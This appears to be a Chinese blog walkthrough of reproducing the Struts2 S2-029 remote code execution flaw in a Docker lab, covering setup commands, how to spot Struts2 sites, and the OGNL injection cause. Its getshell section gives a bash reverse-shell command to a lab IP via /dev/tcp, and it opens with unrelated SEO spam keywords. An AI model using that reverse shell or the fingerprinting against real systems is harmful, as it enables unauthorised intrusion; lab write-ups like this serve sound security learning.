深圳哪里有网站建设,营销型网站建设讨论题,小程序商城如何运营,免费ai写作网站来浅浅的讲一下Struts2漏洞
目录
1.Docker_Vulnhub搭建
2.Struts2
3.Struts2的框架特征
4.S2-029--Remote Code Execution
5.漏洞复现
1.RCE
2.Getshell 1.Docker_Vulnhub搭建
因为我用的是Linux#xff0c;所以我选择直接搭个docker#xff0c;这里我建议先换个…来浅浅的讲一下Struts2漏洞
目录
1.Docker_Vulnhub搭建
2.Struts2
3.Struts2的框架特征
4.S2-029--Remote Code Execution
5.漏洞复现
1.RCE
2.Getshell 1.Docker_Vulnhub搭建
因为我用的是Linux所以我选择直接搭个docker这里我建议先换个源
vim /etc/apt/sources.list 我用的清华源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free换完之后记得更新一下
sudo apt update 然后就可以装我们的docker啦
sudo apt install docker.io
然后就是安装docker-compose
sudo apt-get install docker-compose
下载vulnhub
git clone https://github.com/vulhub/vulhub.git
//如果上面这个太慢的话,可以试试下面这个wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zipunzip vulhub-master.zip
然后就是开启docker环境
sudo systemctl start docker然后可以去查看一下
然后今天我们要复现的 s2-029在vulnhub里面没有所以需要我们自己去拉取
docker pull medicean/vulapps:s_struts2_s2-029 然后去启动漏洞环境
docker run -d -p 8081:8080 medicean/vulapps:s_struts2_s2-029
然后你就会发现网卡信息那里多了一栏 然后我们用本机的环境去访问 kali的ip:8080/default.action 访问成功环境搭建成功
2.Struts2 Struts2是apache项目下的一个web 框架普遍应用于阿里巴巴、京东等互联 网、政府、企业门户网站。用的java语言开发 漏洞介绍 Struts2漏洞是一个经典的漏洞系列根源在于Struts2 引入了OGNL表达式使得框架 具有灵活的动态性 。随着整体框架的补丁完善现在想挖掘新的Struts2漏洞会比以前 困难很多从实际了解的情况来看大部分用户早就修复了历史的高危漏洞。目前在 做渗透测试时Struts2漏洞主要也是碰碰运气或者是打到内网之后用来攻击没打补 丁的系统会比较有效。 3.Struts2的框架特征 Struts2 框架特征 查看被测应用系统的源码 URL 接口地址以 “ .action ” “ .do ” 结尾或地址中包含 “ ! ” 符号或者在被测应用的服务器上查看 应用所在目录/WEB-INF/lib/下的jar文件若存在struts2-core- 2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件 则需检测是否 存在Struts2 远程代码执行漏洞。 4.S2-029--Remote Code Execution
rce的原理 Struts2的动态性在于ongl表达式可以获取到运行变量的值并且有机会执行函数调用 。如果可以把恶意的请求参数送到ognl的执行流程中就会导致任意代码执行漏洞。 5.漏洞复现
1.RCE
这里我就直接用漏扫了 于是就对应的去利用 看见是能成功rce的
2.Getshell
能不能getshell呢废话都能rce了肯定能getshell啊
先去开一下netcat 然后就是反向连接弹shell了
/bin/bash -c bash -i /dev/tcp/192.168.246.1/9191 01
这样就是成功的getshell了 当然了这个有没有手工的poc呢 肯定是有不过很长 最后养成好习惯关闭docker环境 docker-compose down //如果是上面的环境的话就要走以下命令
sudo systemctl stop docker
sudo systemctl stop docker.socket
sudo systemctl status docker //最后查看一下环境是否关闭